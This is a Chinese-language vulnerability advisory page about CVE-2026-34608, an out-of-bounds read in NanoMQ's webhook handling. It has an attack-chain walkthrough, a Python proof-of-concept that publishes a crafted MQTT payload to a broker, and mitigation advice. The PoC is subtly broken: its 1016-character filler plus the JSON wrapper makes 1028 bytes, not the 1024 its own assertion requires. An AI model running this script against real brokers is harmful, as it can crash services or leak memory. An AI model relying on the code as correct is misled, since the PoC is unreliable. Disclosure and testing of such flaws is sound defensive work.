IPBUF安全漏洞报告
English
CVE-2026-34608 CVSS 4.9 中危

CVE-2026-34608 NanoMQ越界读取漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34608
漏洞类型
越界读取
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
NanoMQ

相关标签

越界读取OOB ReadNanoMQMQTT拒绝服务

漏洞概述

NanoMQ是一个全方位的边缘消息平台。在0.24.10版本之前,NanoMQ的webhook_inproc.c文件中存在安全漏洞。hook_work_cb函数在处理nng消息时,使用cJSON_Parse解析消息体,但该消息体来自nng_msg_body(msg),是一个没有保证以空字符结尾的二进制缓冲区。cJSON_Parse会读取直到找到\0,这导致了越界读取,可能访问超出分配缓冲区的内存。该漏洞在JSON负载长度为大于等于1024的2的幂时会被可靠触发。

技术细节

该漏洞根源于NanoMQ在处理Webhook内部通信时的内存管理不当。漏洞点位于`webhook_inproc.c`文件的`hook_work_cb`函数中。该函数调用`cJSON_Parse(body)`来解析消息体,然而`body`是通过`nng_msg_body(msg)`获取的,这是一个未强制添加空终止符的二进制缓冲区。`cJSON_Parse`在执行时会持续扫描内存直至遇到字符串结束符`\0`,这导致解析器会读取缓冲区边界之外的内存区域(如相邻的堆内存或消息元数据)。尽管nng内存分配器通常通过添加填充(为非2次幂且小于1024字节的大小添加32字节零填充)来掩盖此问题,但在特定条件下——即当JSON负载长度是1024字节及以上的2的幂次方时,不会添加填充。此时,越界读取会被稳定触发,可能导致服务拒绝或敏感信息泄露。

攻击链分析

STEP 1
步骤1
攻击者连接到目标NanoMQ MQTT Broker。
STEP 2
步骤2
攻击者向配置了Webhook规则的特定Topic发送一条特制的MQTT消息。
STEP 3
步骤3
NanoMQ接收消息并调用hook_work_cb函数处理Webhook回调。
STEP 4
步骤4
函数使用cJSON_Parse解析消息体,由于消息体长度为1024字节(2的幂),内存分配未添加填充,且缺少空终止符。
STEP 5
步骤5
cJSON_Parse读取超出缓冲区边界的内存,导致越界读取,可能引发服务崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import paho.mqtt.client as mqtt import json import time # NanoMQ OOB Read PoC (CVE-2026-34608) # This script sends a JSON payload with a length of 1024 bytes (power of 2) # to trigger the out-of-bounds read in webhook_inproc.c. TARGET_BROKER = "127.0.0.1" TARGET_PORT = 1883 TARGET_TOPIC = "test/webhook" # Ensure a webhook rule is configured for this topic # Construct a JSON payload that is exactly 1024 bytes long. # cJSON_Parse expects a string, but the underlying buffer lacks null termination # when size is power of 2 >= 1024. data = "A" * 1016 payload = '{"data": "' + data + '"}' # Verify length is 1024 (Power of 2) assert len(payload) == 1024, f"Payload must be 1024 bytes, current: {len(payload)}" def on_connect(client, userdata, flags, rc): print(f"Connected with result code {rc}") # Send the malicious payload client.publish(TARGET_TOPIC, payload) print(f"Payload sent to {TARGET_TOPIC}") def on_publish(client, userdata, mid): print(f"Message {mid} published.") client.disconnect() client = mqtt.Client() client.on_connect = on_connect client.on_publish = on_publish try: client.connect(TARGET_BROKER, TARGET_PORT, 60) client.loop_forever() except Exception as e: print(f"Error: {e}")

影响范围

NanoMQ < 0.24.10

防御指南

临时缓解措施
建议限制对MQTT Broker的网络访问,仅允许受信任的客户端连接。如果业务允许,暂时禁用Webhook功能以减少攻击面,直至完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表